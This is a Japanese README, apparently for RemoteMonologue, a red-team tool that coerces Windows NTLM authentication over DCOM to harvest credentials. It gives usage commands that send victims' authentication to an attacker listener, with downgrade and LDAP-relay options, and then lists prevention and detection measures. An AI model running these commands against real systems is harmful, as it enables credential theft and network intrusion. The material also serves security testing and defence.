
RemoteMonologue は、Interactive User RunAs キーを悪用して DCOM 経由で NTLM 認証を強制することにより、リモートユーザーの侵害を可能にする Windows 資格情報収集テクニックです。
詳細については、X-Force Red の RemoteMonologue: Weaponizing DCOM for NTLM Authentication Coercions をお読みください。
🔹 DCOM を介した認証強制 (-dcom)
ServerDataCollectorSet、FileSystemImage、MSTSWebProxy、UpdateSession) を対象に、指定したリスナー (-auth-to) への NTLM 認証をトリガーします。🔹 資格情報スプレー (-spray)
🔹 NetNTLMv1 ダウングレード攻撃 (-downgrade)
🔹 WebClient サービスの悪用 (-webclient)
🔹 ユーザー列挙 (-query)
注: ターゲットシステムに対するローカル管理者権限が必要です。
pip install impacket
以下は、Responder をリスナーとして使用し、NetNTLMv1 ダウングレード攻撃とともに RemoteMonologue を実行する例です。デフォルトでは、DCOM オプションが指定されていない場合、ツールは ServerDataCollectorSet DCOM オブジェクトを使用します。
RemoteMonologue.py domain/user:password@target -auth-to [listener IP] -downgrade

以下は別の例です。今回は FileSystemImage DCOM オブジェクトを使用し、WebClient サービスを有効にして HTTP 認証を取得し、ntlmrelayx を使用して LDAP にリレーする攻撃を実行します。
RemoteMonologue.py domain/user:password@target -auth-to [listener NETBIOS@PORT] -webclient -dcom FileSystemImage

これらのテクニックから保護し検出するために、実施可能な予防策と検出手段がいくつかあります。
予防策:
LDAP 署名とチャネルバインディングを有効にする: ドメインコントローラーで LDAP 署名の適用とチャネルバインディングを構成し、LDAP エンドポイントをリレー攻撃から保護します。注: これらの設定は Windows Server 2025 以降、デフォルトで適用されます。
最新の Windows バージョンにアップグレードする: サーバーを Windows Server 2025 に、ワークステーションを Windows 11 バージョン 24H2 にアップグレードして、NetNTLM ダウングレード攻撃を緩和します。これらのバージョンでは NTLMv1 が削除されているためです。
SMB 署名を強制する: Windows サーバーで SMB 署名を有効にして強制し、SMB リレー攻撃を防ぎます。
強力なパスワードポリシーを実装する: 強力なパスワード要件を適用して、パスワードクラッキング攻撃をより困難にします。
検出手段:
DCOM オブジェクトへのリモートアクセスを監視する: 影響を受ける DCOM オブジェクトとその特定のプロパティおよびメソッドへのアクセスを追跡して、異常なアクティビティを特定します。
レジストリの変更を監視する: RunAs および LmCompatibilityLevel レジストリキーの変更を監視します。
WebClient サービスのアクティビティを追跡する: WebClient サービスがリモートで有効化された事例を監視します。これは HTTP ベースの NTLM 認証を容易にするために使用されるためです。